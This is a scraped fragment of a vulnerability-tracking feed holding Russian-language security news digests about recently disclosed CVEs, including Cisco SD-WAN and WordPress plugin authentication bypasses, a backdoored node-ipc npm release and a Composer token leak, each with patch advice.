Rapid7\u00a0\u0432 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 Cisco SD-WAN -  CVE-2026-20127, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435.\n\nCisco \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0442\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n3. \u0412 \u0442\u0440\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Node-IPC \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0431\u044d\u043a\u0434\u043e\u0440, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c Socket \u0438 StepSecurity, \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 npm \u0431\u044b\u043b\u0438\u00a0\u043f\u0440\u0438\u0437\u043d\u0430\u043d\u044b\u00a0\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438: node-ipc@9.1.6, node-ipc@9.2.3 \u0438 node-ipc@12.0.1.\n\n4. \u0412 AISI \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043a\u0438\u0431\u0435\u0440\u043c\u043e\u0434\u0435\u043b\u0438 \u0418\u0418, \u043a\u0430\u043a Mythos \u043e\u0442 Anthropic \u0438 GPT-5.5-Cyber \u043e\u0442 OpenAI, \u0440\u0435\u0448\u0430\u044e\u0442 \u0437\u0430\u0434\u0430\u0447\u0438 \u0432 \u0418\u0411, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043d\u0435 \u0441\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438, \u0438 \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0430\u044e\u0442 \u043d\u0430\u0441 \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u00ab\u043a\u0438\u0431\u0435\u0440-\u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u043e\u043c\u00bb, \u043a\u043e\u0433\u0434\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043a\u0438\u0431\u0435\u0440\u0437\u0430\u0434\u0430\u0447\u0438 \u0431\u044b\u0441\u0442\u0440\u0435\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430.\n\n5. \u0425\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c WooCommerce \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u043a\u0440\u0435\u0434\u0438\u0442\u043d\u044b\u0445 \u043a\u0430\u0440\u0442. \u041f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u043b\u043e \u0443\u0436\u0435 \u0431\u043e\u043b\u0435\u0435 40 000 \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432 WooCommerce, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440 FunnelKit. \u041f\u0430\u0442\u0447\u0438 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435.\n\n6. AMD \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u043a\u043e\u0434\u0443, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u043c\u0443 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0435, \u043d\u0430\u0440\u0443\u0448\u0430\u0442\u044c \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u043a\u044d\u0448\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438. \u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 AMD Zen-2, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043b\u0438\u043d\u0435\u0439\u043a\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Ryzen \u0438 EPYC.\n\n7. Packagist \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0430 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 PHP Composer, \u0447\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0442\u043e\u043a\u0435\u043d\u044b GitHub \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u044b GitHub Actions.\n\n\u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432. GitHub \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0434\u043e 18 \u043c\u0430\u044f. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c PHP \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Composer \u043a \u044d\u0442\u043e\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0443\u0442\u0435\u0447\u043a\u0443 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0432 \u0438\u0445 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430\u0445 CI/CD.\n\n8. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Akamai \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u0440\u0435\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 MCP \u2014 Apache Pinot, Apache Doris \u0438 Alibaba RDS.", "creation_timestamp": "2026-05-15T17:30:06.000000Z"}, {"uuid": "5ad12ed5-a34a-4689-b003-b81fe65ca2e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/true_secator/8211", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0432\u0430\u0436\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0425\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Burst Statistics \u0434\u043b\u044f WordPress (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043d\u0430 200 000 \u0441\u0430\u0439\u0442\u0430\u0445 \u043a\u0430\u043a \u043e\u0431\u043b\u0435\u0433\u0447\u0435\u043d\u043d\u0430\u044f \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 Google Analytics) \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u0430\u043c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\nCVE-2026-8181 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 23 \u0430\u043f\u0440\u0435\u043b\u044f \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u043f\u043b\u0430\u0433\u0438\u043d\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043a\u043e\u0434 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, 3.4.1. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445 \u043a REST API \u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n\u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 24 \u0447\u0430\u0441\u0430 Wordfence \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 7400 \u0430\u0442\u0430\u043a, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-8181, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0430. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 3.4.2 \u043e\u0442 12 \u043c\u0430\u044f \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d \u043d\u0430 \u0441\u0432\u043e\u0435\u043c \u0441\u0430\u0439\u0442\u0435.\n\n2. Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Catalyst SD-WAN (CVE-2026-20182, CVSS 10.0), \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u043f\u0438\u0440\u0438\u043d\u0433\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u00ab\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u00bb. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0439\u0442\u0438 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 Cisco Catalyst SD-WAN \u043f\u043e\u0434 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e\u0441\u044f root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u0443 \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a NETCONF, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0435\u043c\u0443 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 SD-WAN-\u0441\u0435\u0442\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 Rapid7\u00a0\u0432 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 Cisco SD-WAN -  CVE-2026-20127, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435.\n\nCisco \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0442\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n3. \u0412 \u0442\u0440\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Node-IPC \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0431\u044d\u043a\u0434\u043e\u0440, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c Socket \u0438 StepSecurity, \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 npm \u0431\u044b\u043b\u0438\u00a0\u043f\u0440\u0438\u0437\u043d\u0430\u043d\u044b\u00a0\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438: node-ipc@9.1.6, node-ipc@9.2.3 \u0438 node-ipc@12.0.1.\n\n4. \u0412 AISI \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043a\u0438\u0431\u0435\u0440\u043c\u043e\u0434\u0435\u043b\u0438 \u0418\u0418, \u043a\u0430\u043a Mythos \u043e\u0442 Anthropic \u0438 GPT-5.5-Cyber \u043e\u0442 OpenAI, \u0440\u0435\u0448\u0430\u044e\u0442 \u0437\u0430\u0434\u0430\u0447\u0438 \u0432 \u0418\u0411, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043d\u0435 \u0441\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438, \u0438 \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0430\u044e\u0442 \u043d\u0430\u0441 \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u00ab\u043a\u0438\u0431\u0435\u0440-\u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u043e\u043c\u00bb, \u043a\u043e\u0433\u0434\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043a\u0438\u0431\u0435\u0440\u0437\u0430\u0434\u0430\u0447\u0438 \u0431\u044b\u0441\u0442\u0440\u0435\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430.\n\n5. \u0425\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c WooCommerce \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u043a\u0440\u0435\u0434\u0438\u0442\u043d\u044b\u0445 \u043a\u0430\u0440\u0442. \u041f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u043b\u043e \u0443\u0436\u0435 \u0431\u043e\u043b\u0435\u0435 40 000 \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432 WooCommerce, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440 FunnelKit. \u041f\u0430\u0442\u0447\u0438 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435.\n\n6. AMD \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u043a\u043e\u0434\u0443, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u043c\u0443 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0435, \u043d\u0430\u0440\u0443\u0448\u0430\u0442\u044c \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u043a\u044d\u0448\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 